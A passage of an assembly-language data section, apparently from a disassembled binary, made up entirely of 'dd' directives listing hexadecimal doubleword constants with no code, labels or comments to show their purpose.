6B82639Ah, 0A01A0DAFh, 670C9F10h dd 11E35915h, 83C34F44h, 158D382Ch, 0CF3B18E0h, 0FAA10BB9h dd 0D330EEA4h, 6B34F78Bh, 2839EE7Dh, 0B09B41BAh, 7BCF07C0h dd 287F9A5Bh, 4AE5E2F1h, 0F64A6059h, 9B1DEDAh, 0CCEFCA0h dd 3D9707DAh, 68C76C4Fh, 0A09A0A13h, 0A410BE40h, 0E022839Eh dd 0F07DCE0Ah, 4C6BC95Fh, 0F329C925h, 0BE5D63C1h, 6854F7D1h dd 98D4DFDCh, 8F7EC69Dh, 9F78C0DFh, 10A6D7B0h, 5FC3ACE2h dd 0A5222F59h, 9A53FA19h, 926E8FBDh, 0D3446BB7h, 5756DD0Dh dd 83705BE3h, 1199ED3Ch, 0DB33CDA4h, 5B32EF8Bh, 8D08967Dh dd 94977D48h, 4661D756h, 0F6C8653Eh, 374F11AAh, 0EE9C4B4Eh dd 0D3A9CB7Eh, 0F0AF4570h, 6C1C513Ch, 946665A7h, 6407CE3Ch dd 6AE165F8h, 892009B6h, 561B4988h, 583D290Ch, 0F470DA92h dd 1B14D37Ch, 0BFD0028Ch, 693D0734h, 875C7366h, 3715B930h dd 5CBACC76h, 73F70230h, 0DC115ED7h, 71DD5DECh, 262E87AEh dd 0DAAD8804h, 53CDB03Bh, 52F1C483h, 215EECC5h, 86BC4CA6h dd 1ACB0283h, 2C67F397h, 74BB0486h, 816E8F60h, 0A318EF4Ah dd 4B4CD6A3h, 0D1120ECBh, 0BEA9FAE8h, 9E537480h, 5C387AA2h dd 0A44B93E0h, 72D0FB5Eh, 8C72F71Eh, 5317010Bh, 4349826Ch dd 0DF6D8D4Dh, 4CFB216Eh, 8376B36Ah, 0A849014Eh, 14B1B7C7h dd 0F9394F7Bh, 23488956h, 0A1CF0F4Ah, 2674D719h, 8996DC38h dd 0FC0157EBh, 8D23F5E4h, 595831B2h, 505518B5h, 0B3F299FBh dd 0A09BABB7h, 0E7EFA47h, 982790FEh, 0C44D13E8h, 0B30791EDh dd 8A7FDB79h, 0E003670Fh, 98EDD4B0h, 9890A13Eh, 0C87EE89Ch dd 0C2530003h, 64C04B33h, 6FAD0FE7h, 0EB4846DBh, 0DF78C492h dd 5DEA7AC4h, 4E5B8005h, 5C40B908h, 0C3794C49h, 9223773Dh dd 0C5DAE88h, 31E37ECCh, 78284FE2h, 7FF30B6h, 0E8B28F45h dd 63CB946Dh, 0DC315C49h, 71F1B2D0h, 0EE017DEh, 95632AD1h dd 44570F1Ch, 1177D2DBh, 0CBDEEA5Ch, 58FA7040h, 3B011DC3h dd 4BA5D6A0h, 6E50810Dh, 1F6DCCD1h, 0E56AE33Fh, 0C2CA0BADh dd 444F96A5h, 0C936866Ah, 7B6BDC1Dh, 1D01A0B9h, 835F376Fh dd 52EFDDFDh, 36DC021Ah, 9AAA4841h, 0CC9E86D5h, 6CBA6809h dd 190929h, 3E6866FBh, 6BB4A51Ch, 0D58B3813h, 9BE70AC3h dd 43A88A22h, 6AEF4135h, 8BEC5125h, 26A3DBCFh, 64AF51FDh dd 5ADABD13h, 34B68EF1h, 0FD2E02ADh, 47B184AEh, 1DDEAC3Dh dd 391C0689h, 5C458C83h, 7B46A811h, 0FCD7847h, 823E86AEh dd 0B05960A3h, 0E08DAB57h, 0ECF036A4h, 0CABA843Bh, 0E2EA4E3Dh dd 270C8EB4h, 0F42802FBh, 0C80AA11Eh, 0DADF76DBh, 50EE91CCh dd 221DF7CBh, 340498Ch, 978F5CA5h, 0DB1104B7h, 0F7C7BD0Eh dd 0C05C451Fh, 0EECABF60h, 53AA6866h, 0EED1E444h, 9CE88CA5h dd 66D3D8B3h, 4672CAFDh, 3D2F6D2Eh, 552B9759h, 0C8D192F5h dd 0C00C492Eh, 769C9A86h, 0AFDA7B0Bh, 24246AC6h, 0E80DDD7Fh dd 0B3944883h, 0C429F525h, 7081E0AEh, 99B483ACh, 2C29442Ch dd 0F49DAD2h, 0DA7304B9h, 0C0B9CC0Dh, 7BC2E908h, 0CC55AF0h dd 0ED998B82h, 4DEE97CCh, 4FFB370Bh, 0EDD3D4B6h, 2998CD6Bh dd 60F5E012h, 0FFE75F1h, 0F90B3253h, 0F9E91AA6h, 4F9427FCh dd 61AA7178h, 16105199h, 3EC3DBCBh, 6E6DC903h, 81AA663Eh dd 0DCCCAB77h, 39216B8Dh, 0DEB6D017h, 7AFDB8D4h, 21B8570Bh dd 5EAD793Ch, 0D4E7A747h dd 0F8327484h, 0D1A7AF71h, 2B26D94Fh, 0F0ED6EC5h, 67D8C32Ah dd 7412B18h, 6976A2C8h, 1867E949h, 559A6A6Fh, 9F4F53DBh dd 7E198C9Ch, 79A41699h, 0AF1098C6h, 9AD4B54Bh, 7973792Ch dd 0BE74E770h, 7BE662E1h, 0EBD3DA3Ah, 3519439h, 1E736870h dd 0A4F81299h, 0F4C86B2Ah, 0CAB630F1h, 96C7D4BAh, 0D800960Ah dd 1EF43DD5h, 0A5D968CAh, 0FF3D5DE8h, 937FFEB3h, 12D17FCBh dd 0C763373Bh, 71731C02h, 0B0C638E2h, 0C72FEFC4h, 0C8EF18C3h dd 278A9300h, 0E4CAF378h, 62E68F51h, 88374340h, 0D8411B50h dd 41C762B0h, 19475047h, 29898DF5h, 0BA7AE093h, 9C1D953Bh dd 3C819C82h, 0EC989761h, 42E42073h, 36F20131h, 0DDA12960h dd 0C34E9621h, 0AFC50FCEh, 0A4E41A94h, 0DF759B34h, 9A1E555Fh dd 85521D18h, 3C681712h, 27AA135h, 2F51D535h, 5A316853h dd 0E18B5176h, 8F2CEE93h, 0B27C90FEh, 0B8F1E0BAh, 21480E0Eh dd 767B2361h, 5C6AB2CFh, 0D0699300h, 0E0C83F59h, 610DFA13h dd 0EA6F4301h, 98050194h, 0BEA50318h, 5444E31Dh, 0B1928E98h dd 0CCFE9970h, 3B743C00h, 847860A9h, 0CA60A18Dh, 62DC4432h dd 0CBBB3F62h, 90B0716Eh, 0A69B5460h, 73A2B654h, 0E15FB8BEh dd 937DFFDAh, 9B5A9374h, 0DA775410h, 3D124B5h, 9B6CDDBCh dd 1504E10Ch, 6D446E7Ah, 5337FAE1h, 0D2816BA7h, 3AB3246Fh dd 21C7835Fh, 0B4D6D2F2h, 435BD6ADh, 0AA3C5F3Bh, 0C18FD68Bh dd 9145415Bh, 0BEDDFDDh, 0CA9B06AAh, 58350380h, 54176128h dd 1CFE1E93h, 7C65CA92h, 728B89Fh, 0B348EABFh, 71B45934h dd 780F2B4Ah, 4592A2D5h, 0A2F04CF4h, 9DC90721h, 79FA914Dh dd 0B58312Ch, 27AF60DFh, 26AB02DCh, 0DECF9820h, 13D21898h dd 7FE96AC5h, 576C15F7h, 154598B5h, 817BB257h, 65DFB4E7h dd 1320BB4Eh, 89238373h, 0BB5FC10Ch, 381C4EF1h, 0C6F2DED7h dd 0EDBDBF57h, 37265B30h, 0AA3C0EBAh, 49F5CAEEh, 646C0D45h dd 302F6DC8h, 3D9DE90Ch, 0A887D125h, 8329B81Ah, 0B6EE9DD9h dd 3A2C06AFh, 3A48B355h, 28371FE1h, 4ADC45B5h, 4E32C71Ah dd 0E929CAE8h, 8655ED34h, 0F7E0BFAEh, 0E1513D54h, 26E34535h dd 9B7EB020h, 0DAA6D620h, 8C434D5h, 0E26F8C6h, 8705EA56h dd 7C4C0E64h, 0F6CFF603h, 0CEA92449h, 0E1A6DDE5h, 0BBB1D065h dd 7B65ED0Eh, 494956A0h, 430E3FC1h, 0FF77AB31h, 91498B8Dh dd 3C210F9Fh, 0CEA274E7h, 9E65A329h, 0FFE9E8F1h, 642A1F3Eh dd 7D9980D5h, 0FE23BEF3h, 79E76924h, 6078708Fh, 5F14BD34h dd 6598D2F8h, 0E2F01174h, 88C09D21h, 0C05DD9CCh, 37A4709Eh dd 522AB5BDh, 0E82327E9h, 0CEFD3CEDh, 0EE231CC4h, 0FE6CE04Eh dd 0AC9BD418h, 0F3E2E8Fh, 90E3F568h, 692E365Ch, 3363AC4Fh dd 0BF0C1C6Fh, 2EDF4D46h, 31C70D4Bh, 0D7A8969Dh, 0C43D2AF6h dd 0FC6AD965h, 2800C835h, 0ED4C63E8h, 0CE1F8B46h, 0DE4C0B67h dd 2BC76194h, 471FD7C8h, 7F1DC299h, 44DB82F3h, 0B9180ECDh dd 436DF11Ch, 3C22B88Ah, 1E992CA5h, 15A859FDh, 94882DBFh dd 0D4A350C8h, 43A760A6h, 62B04406h, 357F5E3Eh, 973CFBFBh dd 623398F7h, 440F617Eh, 0A1A12091h, 0ADBB62B0h, 9011BFEBh dd 0C2A4BA4Eh, 7ACCA7B6h, 0C7668283h, 72445813h, 0DE16294Bh dd 8D62932Bh, 0D1C5EF82h, 0F860568Eh, 0F7314741h, 1E15CF67h dd 843B02AEh, 0C1F58A60h, 8CC10952h, 56FDD5B2h, 61A8923h dd 52BE8CB0h, 0D01DFD84h, 443E0151h, 0A9B52D54h, 0E9A1DB5h dd 6CA2A9FEh, 5D475321h, 60EC9F37h, 0BC41DB4Dh, 0F78B02ADh dd 0E39072D4h, 0D170AF68h, 0E6D39D4Bh, 75ADF12Bh, 0DA45A0D4h dd 76B3E1F8h, 8C01CAFBh, 0B11E220Dh, 0CA0DA3CDh, 336F0090h dd 0F14F937Eh, 38B3DA14h, 9A48B6Ch, 0BED96F79h, 0C5B79341h dd 0C7D84B07h, 0D66C4820h, 0A9B3071Ch, 1BAB19FCh, 78E2EEF9h dd 0BFD1BE5Fh, 6E653F2h, 0BEBCFBFBh, 0FEDB3963h, 0C2D1EAB6h dd 3CFB0CAFh, 3E9D1550h, 4FFBDBFEh, 9D4492D9h, 8C746D37h dd 87CC63BAh, 0E18BDD6Ch, 1FDEF6D6h, 5FE0B3ACh, 869F2940h dd 4923E1F8h, 0A503D914h, 3D632A44h, 5B5DF8E0h, 0A053AE3Bh dd 0B752693Ah, 0ACA7090Dh, 0EECF9307h, 6453FA10h, 6A99D76Ch dd 0AA33EF7Fh, 0C156AAAEh, 23DA8F7Bh, 0EA598F04h, 0CC8C2AEBh dd 9E1C06D7h, 3FB5063Ah, 5786890Ah, 0D6729AB1h, 0BE76BEB9h dd 0DF5838E7h, 7BC264h, 0FC72009Ah, 6B5D11FEh, 0EBBE21E2h dd 35542664h, 8CF913F3h, 439F6C63h, 290AD550h, 62DB7B57h dd 0DE5610B8h, 6DBC9DB4h, 8DB2178Eh, 0D122DB35h, 730FEC6Fh dd 0E5C9F962h, 0E6C2A9FBh, 5E5DD89Ah, 5E532905h, 0E70F3346h dd 74D2B60Eh, 4BA5D328h, 1C73AC8Eh, 0C219D687h, 1C300687h dd 6F258F1Bh, 6943E74Fh, 1DFB050Eh, 78A2FD32h, 1BC35208h dd 0F8189A3Ch, 9C690DB8h, 7E583F6Bh, 347387B0h, 0FC72028Fh dd 9D6D06DEh, 0CBBE2B6Eh, 50C6DB90h, 0F30685DAh, 0AE37F8B4h dd 270192A0h, 156A5A29h, 53A118AFh, 6D7F22AFh, 8D7960A6h dd 4D3213D7h, 6714610Dh, 202ABB01h, 0E748FFD7h, 0E6800792h dd 0EF28347Ch, 0ABC4A3DBh, 0C59C01E9h, 495AC321h, 6A30124Dh dd 0B584930Eh, 6B21B4F9h, 0CBDA936Fh, 595BFB93h, 0D8B2ED51h dd 911B12F1h, 0A9F3228Ch, 331AC33Ch, 0BCDD1365h, 4DD33F2Fh dd 0C1C157D9h, 1C72F827h, 0CB7E4F5Ch, 0A0985D7Eh, 0A2173722h dd 73FA2723h, 0D39CEBB3h, 0B19865A2h, 9F53E544h, 73C5894Fh dd 92476C28h, 72B063F7h, 0A4CD9B9Dh, 836BE3F0h, 0E5A3CFE9h dd 49FB5E76h, 4700C844h, 2AC7E98Fh, 65073C4Eh, 0D7C0594Ch dd 0A24BB4C1h, 70F4EC86h, 95949B07h, 6C53BB8Fh, 0EAF9E405h dd 0D392F58Ah, 0CB388E04h, 5763EA06h, 0DE3D18EFh, 0F41D988Eh dd 1B55BF32h, 0E583F7Bh, 0D0838226h, 84DB056Fh, 719A0AF5h dd 0BBE9A7Ah, 9F8429E7h, 0FC068136h, 4389BE27h, 8B8A175Dh dd 657D9451h, 1893B0B6h, 283051A4h, 7280E312h, 0B130FDE1h dd 771083A0h, 65A93A56h, 2237AC3Bh, 0F56D4F4Eh, 55336764h dd 7998AFCh, 7EEF6195h, 0A16D9070h, 66317390h, 5B2F1087h dd 9D32106h, 0E86D445Fh, 96764EBh, 92188601h, 0EC772D8Ah dd 4C4928E5h, 0BF12BF88h, 5BFCAA4Ah, 0C582F3Bh, 6F36C3A2h dd 0F07FAA7h, 0BE34E2C3h, 3DE7D6C1h, 22B78E8Fh, 0BB85DAC9h dd 29D3F75Dh, 0B7881F5Ch, 60945548h, 97571248h, 0EE755EF1h dd 9E0E1336h, 74482AE2h, 314B708Fh, 9A5DF703h, 6A273CC4h dd 556F28B1h, 0DE4873C9h, 0E74AD420h, 0F69CF109h, 0DC425A32h dd 0A44A7099h, 5DBB5FA3h, 0EF9F4EFCh, 0AFB6878Fh, 0E8278A13h dd 0F0C48504h, 0ACD80559h, 0D01BAA95h, 5147C50Ch, 53F71609h dd 41BDB66Eh, 26D13F6h, 1C378E4Eh, 6EE4E2E2h, 8F3DD683h dd 9C8451EBh, 0CF972C6h, 0C081756Dh, 1C61F2F3h, 0E395E362h dd 1F9D4F37h, 6DB9D982h, 970FB37Bh, 0E142CABEh, 36F4CEB8h dd 0E64EF89Bh, 0E7172FFFh, 734D1746h, 0ABF56DD5h, 0AAC03303h dd 80E05201h, 5839DE55h, 9D099073h, 747053A3h, 8ED55B06h dd 0AB418012h, 8EBC3EE8h, 121186FCh, 0CF43041Fh, 24C5556Ah dd 1D74E803h, 0B6D21192h, 6D02C37Ah, 8BD51712h, 618E40FBh dd 658A0BBEh, 57FBE9DCh, 4D473659h, 36C1D32Eh, 4364207Dh dd 6CDCE20Ah, 251C1061h, 60D799BCh, 91FC0D88h, 613EA3A6h dd 2F340B7Dh, 6DA49EB5h, 0FCB316EBh, 0E01500CCh, 4CEFB07Eh dd 0EEC53E04h, 8890530Bh dd 753C576Fh, 49FF0BC3h, 61FCAE67h, 0DF0E0686h, 9A48CE0Eh dd 7051E7D2h, 0C59B1703h, 9BFC05EDh, 8DE2FD43h, 85CA91E9h dd 35196B26h, 3656BF08h, 664804E9h, 0A8FA840Eh, 0A483DD4Ch dd 53926350h, 0A2563E9Bh, 1E47DB39h, 0F26C878Dh, 0BC50EA91h dd 21B952F6h, 3D79665Dh, 0BC2EDAC7h, 6DB99700h, 0DE9F7C4Bh dd 0F9435A42h, 56F64638h, 3C4DEA86h, 5DA73CB2h, 0D541C0B1h dd 6E54DC9Ch, 0EFDDECFCh, 83BA1100h, 4A81DBAAh, 70C26431h dd 1086BCD7h, 0BADA4743h, 70099AE5h, 62021703h, 9C63FA3Dh dd 929098F0h, 0AD7EC57Eh, 2571CAEEh, 3E55054Fh, 8FA7F783h dd 3FE68E15h, 7C191AC8h, 6F40825Ch, 0FF352B71h, 0DC40D39Ch dd 71420219h, 0BEA984FCh, 0BFD7F581h, 0E956AE43h, 0BC2EA2E7h dd 6DB9A718h, 0DE9F5C5Bh, 0AC954662h, 6F16884Bh, 7EC604EAh dd 421725B2h, 84625851h, 51BFF605h, 7A1EE806h, 939B7601h dd 0A5BD97DFh, 88171A79h, 9B7A1207h, 0EB854BDEh, 41028F1Ah dd 0FFA0ECFCh, 0AC619AE8h, 829B4F0h, 29C9057Bh, 0CC4ACAF2h dd 9B5505BCh, 0F354FB80h, 5DD654CCh, 0ED8DFAC1h, 85C4FBF9h dd 7733EDA6h, 1D47DACEh, 0D4BA05C8h, 43890778h, 626D8FA2h dd 0E3C6EDF6h, 9B6B0B21h, 0E8B6AF00h, 8D7AC5EDh, 2DC0A8DFh dd 1A9D2CF5h, 7EC19363h, 2985BAB0h, 0A04DBB43h, 3B67AF9Ch dd 65E273EEh, 87B2D801h, 0A3365318h, 644EF7Ah, 0E5089370h dd 61963EE6h, 0DB08775Fh, 48CE8E02h, 47E9B20Fh, 1985FD87h dd 0C025597h, 1E071FEh, 0E5A6BF7Bh, 0F3794AFAh, 0E4B3FF4Eh dd 34278C13h, 0C2CFBC63h, 0AAB8D422h, 5D471A32h, 0B41600E8h dd 4388FB72h, 0B1630776h, 0ED6DB297h, 0CE1B2640h, 380EB8D0h dd 81807422h, 25C76FF7h, 671FF43Ah, 0A2A49AEBh, 0A2940D7Eh dd 8C4D2B4Eh, 268E1907h, 0B9734253h, 7FAE3AF1h, 5DAADA63h dd 6DC9D877h, 0E8779B0Eh, 20811915h, 0A66DDA91h, 8B7184FEh dd 432CCF81h, 3CEAED0Fh, 2C3E28E8h, 0E2925481h, 52FF7175h dd 28B1EF2Bh, 3B3E0705h, 737D1555h, 0BB120D28h, 0FBFBE914h dd 9D47DAC8h, 0F3F2CD4Fh, 848906F7h, 0E188F8B0h, 1D16F51Eh dd 0BDE7231Ch, 0E6A9FAABh, 8D972953h, 34D52784h, 0EE0F53DDh dd 61EF1863h, 0A26ED39Ah, 0A013205Eh, 0AB7D54A9h, 0EDE9BA03h dd 0C6419109h, 0D10F2FD6h, 0A173E047h, 687D20Ch, 61924BE0h dd 0B718675Fh, 0EA42970h, 0BCA49905h, 0C447D418h, 89097716h dd 0A310DA0Dh, 0D45AC779h, 68253F05h, 407BB10Ah, 0BA9A509Dh dd 88D80FEFh, 0D506B5Ah, 0CE321A5Dh, 8CC44B40h, 6989C149h dd 62880174h, 0D27C04D8h, 94923F28h, 0E454028Fh, 8D98148Ch dd 65CB4CBBh, 32979B8Ah, 0E5B7B914h, 0B1E4F53Bh, 0ACEF9441h dd 54914CA9h, 0B963ACFCh, 0E50BF8E7h, 0C43096A0h, 61EB2A8Fh dd 699BA297h, 6E880EAEh, 79734ED8h, 99ABFFC5h, 0B44C05FFh dd 85442F01h, 0AACB33BBh, 63EEFCF5h, 2C8AFA63h, 8A1DB439h dd 0C13F578Bh, 2314FD41h, 1E65E525h, 0FCB127ACh, 48CE34FDh dd 0FC0162ABh, 0CA855CC1h, 0B403E6A6h, 68D872F6h, 1F932FA4h dd 0AABD3AE2h, 8D7B753Bh, 0E10C6CD4h, 671FD244h, 2041F96Bh dd 0D7D1F7D5h, 50D5A444h, 0A8EE4B8Ch, 67224CFCh, 3524C15Ch dd 2B3A6C6Ch, 24C9E93Ah, 8B898D7Fh, 5A0B8844h, 73958F3Dh dd 0A7078A04h, 0AC7C0500h, 3886665Bh, 0FAC25C67h, 4DD511E1h dd 0FDEE7185h, 878A0E10h, 607A8CF6h, 6583F20Ah, 0E5483ACCh dd 207FA790h, 0D64FFEE4h, 0F812AD3Bh, 92992D71h, 3053D29Bh dd 694D2EFEh, 6C6642E9h, 9A7BDEBBh, 1C76510Ah, 0ACEF6803h dd 696AD8F1h, 71924AD0h, 0ACE0E14Ch, 0B08A9F75h, 0EF4D74FAh dd 0B8DE8B27h, 0C7103D2Dh, 0F667430Dh, 0B4757B5Ch, 0BD0C0E70h dd 0F55A1019h, 5AD5021Ah, 0A30F8A04h, 0A46C0500h, 0DDB1BB5Fh dd 8B86DE94h, 0D4D993E5h, 0A21BD9Ah, 0AEAF2720h, 98BDDDF7h dd 0C0368C18h, 1ACE8204h, 0AFFAA5D0h, 0E087D39Ch, 0A78DCE1Bh dd 9B7E18D1h, 390BC606h, 44D17416h, 0BFC6BA30h, 187A5650h dd 0A936EF86h, 808F5804h, 90CA602Ch, 0EE7A149Ah, 558BCF7Fh dd 4B7656BFh, 20A1FDCDh, 67DDB74Fh, 817355Dh, 7384376Dh dd 0BF1A3E93h, 69D6076Dh, 136E3EC2h, 886B06EBh, 15F2360h dd 0B8588EC1h, 0FD641A18h, 748C27A1h, 9F85BEADh, 0E4AD8886h dd 2401B43h, 8E0F4900h, 893DF597h, 0D940FC13h, 0EB64ACE8h dd 1F188AC3h, 0CC8B953Fh, 438AF0B4h, 0F1AC69FBh, 68B26E63h dd 0D7193031h, 64CFDF7Ch, 81592805h, 0B40722C3h, 86F32270h dd 210A1F62h, 0C68B7D1Fh, 638CDF6Ah, 0BB842807h, 364802F4h dd 8C03B352h, 0A4AD6CA4h, 0D5AE6F78h, 684DD687h, 0D7380792h dd 58E03815h, 4A3CF721h, 6FFC3800h, 0EBD7ED08h, 5803A20Eh dd 1C6C9AF4h, 98D379ECh, 0AC554A0Fh, 583C7EF1h, 7714028Ah dd 59EE04EBh, 0CBBE2E06h, 0A7423C60h, 0F306973Fh, 4C5A7DF2h dd 0EE4BE580h, 0C99072DDh, 646DD0C3h, 0EEDCB325h, 0F87CD0C7h dd 0DD479559h, 617390B2h, 65BC980Dh, 6AF7EB4Fh, 60D314B1h dd 8C42E94Fh, 0EDF5F303h, 67ED85Ch, 2EED9F6Ch, 8050E73Dh dd 748CDD57h, 0C4968F9Ah, 8AF84FA5h, 0BE78A94h, 543C0500h dd 0C0A7645Dh, 0E552592Ch, 0C3C992BFh, 5DAAF6A4h, 4750FB90h dd 9763C7D5h, 2BCE897Ch, 4E9A04F0h, 0B0B2C07Bh, 5763AA32h dd 57421BA8h, 4F467779h, 0C5CCAF98h, 44FAE9E4h, 0BFAE7238h dd 679ECFB1h, 658D825h, 27C0C720h, 0F7C5BC34h, 65A22666h dd 2190E86Eh, 0F6B0C3A2h, 20F4C107h, 3578CF76h, 7A754080h dd 5D88DAD0h, 0C76F9DF1h, 5D135F57h, 3655C2C9h, 0C341CA91h dd 750DFB51h, 8B71E989h, 0D087645Dh, 0DF914985h, 5B196336h dd 5722FA7Eh, 0B3DB59ECh, 5D41077Fh, 1037C38Bh, 3B5D04EFh dd 0B53B4F4h, 91025CE3h, 0DE72F6E2h, 6AFEB16Fh, 0E9FC4181h dd 0E5997652h, 9B92A953h, 75FF2406h, 718447B8h, 0A69D1E9Bh dd 0D809EF30h, 6DD112ABh, 0AD59A100h, 0A0E285C3h, 0EE79F28Ch dd 0A877D21Bh, 0F993AD05h, 0D09A2F2Dh, 60046443h, 4D4A21E1h dd 0D9E74B11h, 5FE83015h, 4D47573Fh, 44898E0Ah, 4F475207h dd 85AE17E0h, 3A1292BFh, 9E15F5D8h, 0C592160Ah, 0BEBB2B3Bh dd 49F90EAFh, 42D8C3E4h, 6BBE2CE0h, 0C53A559Dh, 0B2899FEEh dd 0C88AF732h, 0B1032F39h, 61DCBBFCh, 108EE041h, 2D31A53Dh dd 9D7806DEh, 0AC811184h, 672A87F3h, 92E2B094h, 0A27D9D7Bh dd 0E56A5B3Ah, 0B7AB0784h, 64FE698Eh, 0C87BED41h, 0B5AA5821h dd 0E14E22F2h, 30E2C68Bh, 9F6B4411h, 73EB7802h, 3D1E2B54h dd 0C5C4408Bh, 0FFD5C148h, 907DC0Fh, 7511CF71h, 47B2BF4Bh dd 221AB6CAh, 0E73642E0h, 9F6A516Ch, 549B28A5h, 0C0927C67h dd 0A248DE82h, 0A33F84A0h, 0C8808A0Eh, 0A1032F1Eh, 251F508Eh dd 0DE2DA658h, 65EF2064h, 0DD588E77h, 0F4D4C75Fh, 0EC0F4B3Bh dd 250FFB3Bh, 0F2A6662Bh, 5F50D0A6h, 0A73C0773h, 66F17688h dd 32F3FD59h, 6FDB8764h, 80B6BFF1h, 7548D5A2h, 0D153C07Fh dd 5EF0B67Ch, 8D747779h, 0CBAC1145h, 0A892FD4Dh, 49895D2Ch dd 9DD911E6h, 79FA2AF4h, 3FA78FCEh, 0EF32C3E7h, 937D0C96h dd 0C61110BFh, 22742DF0h, 8CCCA93h, 36B99FF5h, 0E35F809h dd 68400E2Eh, 251D1726h, 0B7EA25C8h, 0BB2D788h, 85448E19h dd 2FD1F2F4h, 378C0EB5h, 75C47DF7h, 2A8974B1h, 0E56AAB42h dd 8FB9C384h, 66F04688h dd 0DD771D59h, 0A75DBA01h, 0D6996F78h, 0FEF7CEC2h, 42185B5Ch dd 6582875Fh, 23B38C18h, 0A9BCD501h, 0DE1D5D64h, 0AECE91EAh dd 2A1692BFh, 0CE21E2A0h, 2F923E0Eh, 0AB581B34h, 8D141C96h dd 0FB1110AEh, 0A7C6AFE5h, 0FB4FA9CDh, 0FB3ED076h, 0C8928309h dd 0B1032F6Ch, 61DCBA5Ah, 108EEE0Dh, 2D31A145h, 7231430Eh dd 2FD4899Ch, 0D8080D75h, 35BDE13Eh, 297C4617h, 0E06AB70Bh dd 0EE7052A0h, 0A8471C17h, 32F1411Dh, 0F07D0B6Ch, 3947EE68h dd 0FEAE930Ch, 89C15749h, 65DD8E0Ah, 0CC24F4ECh, 4D5886FFh dd 2E8AA883h, 0AE9600D6h, 5E9886B2h, 0CB6AA7Ch, 0F4D33757h dd 71810848h, 35B82DC7h, 5C7324BBh, 61BE2CECh, 0BA7BDA88h dd 343A94F5h, 601BC7Dh, 0B4372820h, 4CC60C4Ch, 6CF4B4E5h dd 6DB29158h, 0D8F7C37Bh, 0E17B8A3Ch, 4B458C64h, 0EE8CB160h dd 2B3C116Bh, 72649F1Eh, 0FE7226F1h, 0C1BAA40Bh, 8DFE7109h dd 0D8771318h, 0FC980874h, 95269E57h, 8C8CC839h, 0DE0DCA92h dd 3FFE8712h, 878A7061h, 0CAD2E14Dh, 283FD563h, 521DEFBBh dd 0FFAF6B0h, 0EAD33757h, 39748A78h, 3F6E4C5Ah, 961714AEh dd 0DBF3A5ECh, 964F9B46h, 0F38C80C9h, 0C89BF380h, 990B2F52h dd 68E93776h, 0A3D251FAh, 75CEA918h, 6748CB5h, 0EE499904h dd 7B4F8DB1h, 0EE8CB6E0h, 0EFFC2F7Bh, 0B0ED3FB1h, 28F16107h dd 93F85F7Bh, 0C8753753h, 0C3BFF53Dh, 0E280AAF1h, 0CAABDED2h dd 0E50C72D9h, 708E8567h, 1FDB8C0Ch, 55F98C66h, 34075207h dd 3447DE39h, 9FDC11AAh, 0EB6AA7Eh, 68592F52h, 9AE8EF34h dd 8F1FB2Ch, 0C6DF8FE7h, 3FEB93E2h, 5C5B9E47h, 6F56194Ah dd 0C882B28Ch, 5E870B46h, 0AABF2311h, 10B2F619h, 3D31A16Dh dd 9D3C4232h, 0E14D5575h, 665789E0h, 0EF94A762h, 0B2FE3D6Eh dd 0B89C2828h, 20F7208Ch, 0BD755346h, 9DAA3808h, 4EDC53EFh dd 79D1E468h, 0FCA2860Ah, 0C9865B4Ch, 68EEE937h, 0CBD6C01Ch dd 41AC0500h, 2A08C4E3h, 3C87EA66h, 9EEB72AAh, 0BE29FAF5h dd 5A1DB61Ah, 0BBD652EDh, 91F9FC96h, 0FBCE8C03h, 0EFFBA703h dd 85025FAAh, 95FED57Fh, 43928A84h, 9C0BF76Ah, 77EB35A6h dd 0A79EE31Eh, 51BEDD45h, 670BC1Bh, 0F44994D1h, 77528A31h dd 0E6B4F1ADh, 0D776CB46h, 0B0A42469h, 22F80401h, 0ED3E4356h dd 6E67A39h, 0F57A036Ch, 79C06679h, 3F5A830Ch, 43BA1E90h dd 0B5F39A4Eh, 232337C6h, 42A47883h, 65890C77h, 34D7DE61h dd 1D85D271h, 0A2ABEAADh, 0ECD1F53Bh, 0C47B8C40h, 0E432B3DFh dd 6D8EE468h, 5FCB3C15h, 564F9347h, 3B8D84D0h, 0C840F61Ah dd 2B89075Ch, 61B27FDBh, 0B3D22D62h, 28337939h, 853942B6h dd 9DF0C43Fh, 6B7AFB35h, 0EE8CB560h, 0F75D016Bh, 0B8B12AB6h dd 0F615C5D7h, 0ED842EC0h, 0E1A785Ch, 0F3A7C7C5h, 61C8E42Fh dd 302A29B6h, 3D01C215h, 3501F299h, 0EB2A1C70h, 2953E583h dd 0FAABC9C8h, 0AC47AFA8h, 91110FEEh, 3C5CEAF4h, 0C65A3B10h dd 21FE3663h, 0D4720639h, 0FE19DC62h, 6F7E47F5h, 0E7860C45h dd 66121B82h, 538BF00Eh, 0A17EF712h, 26E27F56h, 9197DE2Ch dd 2831E944h, 8C2C448Ah, 2D30D15Dh, 78E5816Ah, 0ECA02D00h dd 0A78FF6E2h, 0A86CABC5h, 21E9458Bh, 65FEA257h, 0C0009619h dd 262C1A39h, 0A9F9F098h, 0B47A5FA3h, 0DDCD4EE3h, 3412878Fh dd 31FFC114h, 42160F05h, 703EA885h, 771210E2h, 0C96DDF71h dd 9929227Ch, 9498540Dh, 3EFFDDEDh, 79668FD5h, 1E9B03E3h dd 0FBBC2861h, 0A0CFC333h, 0B3838087h, 5675B770h, 0F188DB82h dd 0E36672DDh, 88E7A358h, 920306A0h, 847C0E91h, 27C484F4h dd 51EEFD38h, 0E684FEE9h, 0D71BD946h, 49266A49h, 0ABF97EA5h dd 0BD0BC688h, 72471AE1h, 6D770AD6h, 6B858687h, 3024D687h dd 409F4AE5h, 2AC90CC2h, 0BA97C76Fh, 4796C4DAh, 2877F983h dd 0D1D2546Eh, 191D98BEh, 7F5B7EFAh, 0CBDB3F12h, 0E54A0798h dd 647E415Bh, 23EF0ED3h, 6B3DF463h, 0B987BDD3h, 9C74A0Eh dd 0D69E7C00h, 0F1892019h, 649473DBh, 7096AE24h, 0EE62205Bh dd 4D17D77Eh, 651E0230h, 738C04CAh, 6483F5FEh, 0A032A62Bh dd 5BC6DF4Ah, 22F53107h, 2B726B46h, 8DFE96E0h, 0BFCA9329h dd 0B11AD00Dh, 1EB13604h, 13D36FD9h, 0BE2875DBh, 34439210h dd 6EA1501h, 2FC2E90Ah, 278325ECh, 1B4113FAh, 0BFC1E515h dd 7582B636h, 0C8B5029Eh, 0FD750C45h, 2CDE89FBh, 0E9B6ACEEh dd 0DD468625h, 7E381087h, 601E270h, 0E0D8AAE8h, 0E96E62A1h dd 8918E04Ah, 4453B9D0h, 67CC88Fh, 0E0498771h, 0A13EFE48h dd 